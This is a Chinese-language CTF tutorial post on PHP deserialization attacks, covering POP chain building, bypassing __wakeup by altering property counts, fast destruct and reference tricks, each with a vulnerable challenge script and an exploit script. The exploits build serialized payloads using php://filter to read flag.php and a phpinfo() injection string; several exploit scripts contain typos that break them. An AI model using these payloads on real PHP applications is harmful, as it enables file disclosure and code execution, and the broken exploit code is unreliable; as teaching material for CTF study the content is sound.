php反序列化

一、POP链

1.寻找POP链思路:

  • 寻找起点,也就是启动反序列化的地方------>unserialize函数

  • 寻找终点,反序列化想要执行的函数(造成危害的地方),重点找魔术方法

  • 找链接起点和终点的方法,将起点和终点连接起来(从终点往前推,什么可以触发终点),一层一层研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法

  • 根据我们要控制的属性,构造序列化数据,发起攻击

例题:

php 复制代码
<?php
error_reporting(0);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}
class Saw{
    public $fearless;
    public $gun;
    public function __construct($file='index.php'){
        $this->fearless = $file;
        echo $this->fearless . ' You are in my range!'."<br>";
    }
    public function __toString(){
        $this->gun['gun']->fearless;
        return "Saw";
    }
    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        }
}
}
class Petal{
    public $seed;
    public function __construct(){
        $this->seed = array();
    }
    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}
if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else
{
    $Saw=new Saw('index.php');
    $Saw->_pain();
}
​
复制代码

分析:

  • 起点: unserialize($_GET['ozo']);参数可控

  • 终点:fun()函数

  • 连接起点终点,触发fun(),首先要触发invoke() ,触发invoke就要将对象当成函数调用,那么只有get(),触发get那么就要访问一个它不存在的属性,那么就可以确定到toString,让gun['gun']=Petal,那么触发toString,就确定到了wakeup,触发wakeup,就要用到unserialize($_GET['ozo']),这样起点和终点就连接起来了。

    复制代码
    unserialize($_GET['ozo'])
    Saw::__wakeup
    Saw::__toString,$this->gun['gun']=Petal
    Petal::__get,$Nourishment = $this->seed=Vox
    Vox::__invoke
    Vox::fun
  • 构造利用链

    复制代码
    $v=new Vox();
    $p=new Petal();
    $p->seed=$v;触发Vox
    $s=new Saw();
    $s->gun=arry('gun'=>$p);触发get
    $s2=new Saw();
    $s2->fearless=$s;触发toString
    echo urlencode(serialize(%s2));触发wakeup
    ​

    最后我们触发了fun(),这里是文件包含,如果直接传递我们的构造的反序列化数据则会执行flag.php,所以我们要使用php://filter伪协议来查看文件

    protected $headset='php://filter/convert.base64-encode/resource=flag.php';

  • exp

php 复制代码
<?php
error_reporting(0);
class Vox{
    protected $headset='php://filter/convert.base64-encode/resource=flag.php';
​
}
class Saw{
    public $fearless;
    public $gun;
}
class Petal{
    public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;触发Vox
$s=new Saw();
$s->gun=arry('gun'=>$p);
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize(%s2));

二、 畸形序列化字符串

1.认识畸形序列化字符串

畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

应用领域:

  • 绕过 __wakeup()

  • 快速析构(fast destruct):绕过过滤函数,提前执行 __destruct

2.绕过__wakeup

由于使用unserialize()函数后会立即触发 wakeup ,为了绕过 wakeup 中的安全机制,可以用修改属性数量的方式绕过 __wakeup 方法。受影响版本:

php5.0.0 ~ php5.6.25

php7.0.0 ~ php7.0.10

绕过方法:

  • 反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:

    复制代码
    //标准序列化数据
    O:3:"BUU":2:{s:7:"correct";N;s:5:"input";R:2;}
    //修改为:
    O:3:"BUU":3:{s:7:"correct";N;s:5:"input";R:2;}
  • 增加真实属性的个数,比如:

    复制代码
    原始序列化数据
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
    增加真实属性的个数
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
    或者:
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";s:1:"n":N;}}

php 复制代码
<?php
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}   
echo serialize(new dk)
?>

destruct魔术方法会自动执行,在程序执行结束时会销毁对象,触发destruct

触发wakeup

php 复制代码
<?php
​
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}
$a = 'O:2:"dk":1:{s:4:"name";N;}';
unserialize($a);
?>

使用使用unserialize时触发wakeup

绕过wakeup

php 复制代码
<?php
error_reporting(0);
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}
$a = 'O:2:"dk":2:{s:4:"name";N;}';
unserialize($a);
?>

更改属性数量达到饶过wakeup效果

3.快速析构

快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法( destruct() )。应用场景:某些题目需要利用 destruct 才能获取flag,但是 destruct 是在对象被销毁时才触发(执行顺序太靠后), destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发destruct 方法。

畸形字符串的构造

  • 改掉属性的个数

  • 删掉结尾的 }

例题

php 复制代码
<?php
class DemoX{
    protected $user;
    protected $sex;
    function __construct(){
        $this->user = "guest";
        $this->sex = "male";
    }
    function __wakeup(){
        $this->user = "Guest";
        $this->sex = "female";
    }
    function __toString(){
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
    }
    function __destruct()
    {
        echo $this;
    }
}
class Demo2{
    private $fffl4g;
    function __construct($file)
    {
        $this->fffl4g = $file;
    }
    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}
if(!isset($_GET['poc'])){
    highlight_file("index.php");
}
else{
    $user = unserialize($_GET['poc']);
}

解题步骤:

  • 起点:user = unserialize(_GET['poc']);

  • 终点:Demo2->function __toString(){}

  • 连接起点终点

复制代码
$user = unserialize($_GET['poc'])
//绕过__wakeup,改变序列化数据属性数量
DemoX::__toString()
Demo2::__toString()
  • 构造利用链
复制代码
$x = new DemoX();
$x = serialize(x);//用这个正常的和下面url编码后的对比找出属性个数,进行更改绕过wakeup
echo $x. "\n";
echo urlencode($x);
  • exp
php 复制代码
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
    $this->user = new Demo2;
    $this->sex = "xxx";
}
}
class Demo2{
    private $fffl4g="flag.php";
}
$x = new DemoX();
$x = serialize(x);
echo $x. "\n";
echo urlencode($x);

三、指针问题

1.指针

用 & 符号可以进行指针引用,类似于C语言中的指针。

例如:a=\&b;

例题

php 复制代码
<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}
​
class Flag{
    public $f;
    public $t1;
    public $t2;
​
    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }
​
    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}
$p = $_GET['P'];
if (isset($p)) {
	$p = unserialize($p);
} else {
	show_source(__FILE__);
	echo "NONONO";
}
​
?>

exp

php 复制代码
<?php
class Seri{
    public $alize;
  
}
​
class Flag{
    public $f;
    public $t1;
    public $t2;
​
   
}
​
?>
$f=new Alize;
$f->f='flag.php';
$f->t1=&$f->t2;//运用指针触发
$s=new Seri;
$s->alize=$f;
echo(urlencode(serialize($s)));
相关推荐
还鮟2 小时前
CTF Web的数组巧用
android
小蜜蜂嗡嗡3 小时前
Android Studio flutter项目运行、打包时间太长
android·flutter·android studio
aqi003 小时前
FFmpeg开发笔记(七十一)使用国产的QPlayer2实现双播放器观看视频
android·ffmpeg·音视频·流媒体
zhangphil5 小时前
Android理解onTrimMemory中ComponentCallbacks2的内存警戒水位线值
android
你过来啊你5 小时前
Android View的绘制原理详解
android
移动开发者1号8 小时前
使用 Android App Bundle 极致压缩应用体积
android·kotlin
移动开发者1号8 小时前
构建高可用线上性能监控体系:从原理到实战
android·kotlin
ii_best13 小时前
按键精灵支持安卓14、15系统,兼容64位环境开发辅助工具
android
美狐美颜sdk13 小时前
跨平台直播美颜SDK集成实录:Android/iOS如何适配贴纸功能
android·人工智能·ios·架构·音视频·美颜sdk·第三方美颜sdk
恋猫de小郭18 小时前
Meta 宣布加入 Kotlin 基金会,将为 Kotlin 和 Android 生态提供全新支持
android·开发语言·ios·kotlin